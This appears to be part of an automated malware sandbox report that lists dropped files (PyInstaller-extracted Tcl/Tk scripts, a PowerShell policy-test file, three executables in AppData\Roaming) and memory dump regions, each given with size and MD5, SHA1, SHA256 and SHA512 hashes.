db7f5e0bc7d5c5f750e396e645f50a3e0cde61c9e687add0a40d0c1aa304ddfbceeb9f33ad201560c6e2b051f2eded07b41c43d00f14ee435cdeee73b56b93c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI13322\tk\listbox.tcl

Filesize
14KB

MD5
804e6dce549b2e541986c0ce9e75e2d1

SHA1
c44ee09421f127cf7f4070a9508f22709d06d043

SHA256
47c75f9f8348bf8f2c086c57b97b73741218100ca38d10b8abdf2051c95b9801

SHA512
029426c4f659848772e6bb1d8182eb03d2b43adf68fcfcc1ea1c2cc7c883685deda3fffda7e071912b9bda616ad7af2e1cb48ce359700c1a22e1e53e81cae34b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI13322\tk\menu.tcl

Filesize
38KB

MD5
b7daa21c1c192b8cb5b86cbd7b2ce068

SHA1
ae8abf9017f37ccdf5d0d15de66bb124a7482ba0

SHA256
312af944a276cdbf1ee00757ef141595670984f7f13e19922c25643a040f5339

SHA512
b619e3b8be5ec4545e97b7a7a7f7fecc2aafa58438f9ca3819f644720cf5ff5c44da12ac25988570e595d97cad799f87d93c24d5e67a7a953b9f5312952fbeb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI13322\tk\panedwindow.tcl

Filesize
5KB

MD5
286c01a1b12261bc47f5659fd1627abd

SHA1
4ca36795cab6dfe0bbba30bb88a2ab71a0896642

SHA256
aa4f87e41ac8297f51150f2a9f787607690d01793456b93f0939c54d394731f9

SHA512
d54d5a89b7408a9724a1ca1387f6473bdad33885194b2ec5a524c7853a297fd65ce2a57f571c51db718f6a00dce845de8cf5f51698f926e54ed72cdc81bcfe54

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI13322\tk\pkgIndex.tcl

Filesize
376B

MD5
8a0517a7a4c70111080ed934329e2bc5

SHA1
5b465e0d3500a8f04ee1c705662032f44e2ed0d2

SHA256
a5d208887a94832328c3a33928a80f3b46aa205c20db4f050a47d940e94071b4

SHA512
d9f502a006a5e0514fd61426818ad1f4168e449588f9d383d6b0bf87a18be82c420863a9a28e1beb441284a0b1bc2a0b3d3276a0fe3196341aec15a27920de5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI13322\tk\tk.tcl

Filesize
23KB

MD5
184d05201893b2042d3fa6140fcf277c

SHA1
aad67797864456749adf0c4a1c0be52f563c8fb8

SHA256
1d5e7518afc1382e36bf13fc5196c8a7cd93a4e9d24acf445522564245a489b0

SHA512
291bdf793cabc5ec27e8265a8a313fe0f4acab4db6ce507a46488a83eef72cd43cf5815762b22d1c8d64a9eedea927e109f937e6573058e5493b1354dd449cb3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI13322\unicodedata.pyd

Filesize
1.1MB

MD5
b848e259fabaf32b4b3c980a0a12488d

SHA1
da2e864e18521c86c7d8968db74bb2b28e4c23e2

SHA256
c65073b65f107e471c9be3c699fb11f774e9a07581f41229582f7b2154b6fc3c

SHA512
4c6953504d1401fe0c74435bceebc5ec7bf8991fd42b659867a3529cee5cc64da54f1ab404e88160e747887a7409098f1a85a546bc40f12f0dde0025408f9e27

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI13322\zlib1.dll

Filesize
143KB

MD5
4fadeda3c1da95337b67d15c282d49d8

SHA1
f49ee3256f8f5746515194114f7ef73d6b6141c0

SHA256
28484bcea1e387c4a41564af8f62c040fe203fe2491e415ce90f3d7f5c7ab013

SHA512
45634caf9d9214f0e45e11a1539d8663b45527e1ae9282558b5fdb8465d90b0fabcf4c0e508504427a597ba390c029bc12068ac17d842fd0fcbb1886d252c6b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_20ld35yh.1ij.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\ccvd3okf.yta0.exe

Filesize
427KB

MD5
6b1712c45b98661a7bdbc0e458660392

SHA1
ea8fe9c6b5926757ae57801ef4dc36c465dcd6bb

SHA256
09c3a0c35fbb03d195acf7f1df7aacf2b26df31dcae8f30ee0d6a616741971b8

SHA512
b98033f72502915b4f083bb35c3917c179b539905e188935366cc1828d03dbc86284c0d1f59df51014b1f3d6e9653257d9a67ee9ccac6cf8c0d5ff57931a5d75

Download Submit
C:\Users\Admin\AppData\Roaming\ccvd3okf.yta1.exe

Filesize
94KB

MD5
646a4b7082185499d3682c4fd27f44d0

SHA1
93525392df608765a221aa3d6663ecfebcb67878

SHA256
fdaa310a6b26b4409ce40bbc6ad942c8137f457e0ff552977365992e56e1dcd6

SHA512
c9a0370b67657dc6c27f9ea3c5470798a58e932009d605fe600f379e7d7719b8b5bd51ad66d434caab0dc74e6b376298d4a7858e04e778565c21b3f28cdc7284

Download Submit
C:\Users\Admin\AppData\Roaming\ccvd3okf.yta2.exe

Filesize
10.5MB

MD5
bece6335063d21401aa6a807202a201c

SHA1
eda29a61ea057419042358bb59ee130a64e3cd01

SHA256
ce0b5269cd199fe4a8b42b85690d8466b6e675e06e500069133cdd7dd5b7a2e5

SHA512
07fd172d98ba25e9423782e30131e70c88c95980f54abf6b9c5ed904b1b5479030da43fd83636c59e359e08927799e02606491755ecf7136b8a96a06cc8f7a06

Download Submit
memory/8-1-0x0000000000AC0000-0x0000000000AC8000-memory.dmp

Filesize
32KB

Download
memory/8-0-0x00007FFAEDF93000-0x00007FFAEDF95000-memory.dmp

Filesize
8KB

Download
memory/1436-1122-0x00007FFAFDBC0000-0x00007FFAFDBEA000-memory.dmp

Filesize
168KB

Download
memory/1436-1121-0x00000000648C0000-0x000000006496A000-memory.dmp

Filesize
680KB

Download
memory/3144-29-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/3144-3-0x000001EE9E750000-0x000001EE9E772000-memory.dmp

Filesize
136KB

Download
memory/3144-30-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/3144-31-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/3144-15-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/3144-14-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/3144-13-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/3144-76-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/4612-1107-0x0000000009000000-0x0000000009618000-memory.dmp

Filesize
6.1MB

Download
memory/4612-1111-0x0000000008D80000-0x0000000008DCC000-memory.dmp

Filesize
304KB

Download
memory/4612-405-0x0000000006290000-0x0000000006834000-memory.dmp

Filesize
5.6MB

Download
memory/4612-71-0x0000000000F60000-0x0000000000FD0000-memory.dmp

Filesize
448KB

Download
memory/4612-1109-0x0000000008B90000-0x0000000008BA2000-memory.dmp

Filesize
72KB

Download
memory/4612-1108-0x0000000008C70000-0x0000000008D7A000-memory.dmp

Filesize
1.0MB

Download
memory/4612-1110-0x0000000008BF0000-0x0000000008C2C000-memory.dmp

Filesize
240KB

Download
memory/4612-228-0x0000000005A00000-0x0000000005A1E000-memory.dmp

Filesize
120KB

Download
memory/4612-1114-0x0000000009890000-0x00000000098F6000-memory.dmp

Filesize
408KB

Download
memory/4612-1115-0x000000000A1E0000-0x000000000A256000-memory.dmp

Filesize
472KB

Download
memory/4612-1116-0x000000000A180000-0x000000000A19E000-memory.dmp

Filesize
120KB

Download
memory/4612-1118-0x000000000BE00000-0x000000000C32C000-memory.dmp

Filesize
5.2MB

Download
memory/4612-1117-0x000000000AE30000-0x000000000AFF2000-memory.dmp

Filesize
1.8MB

Download
memory/4612-428-0x0000000005DC0000-0x0000000005E52000-memory.dmp

Filesize
584KB

Download
memory/4612-618-0x0000000005DA0000-0x0000000005DAA000-memory.dmp

Filesize
40KB

Download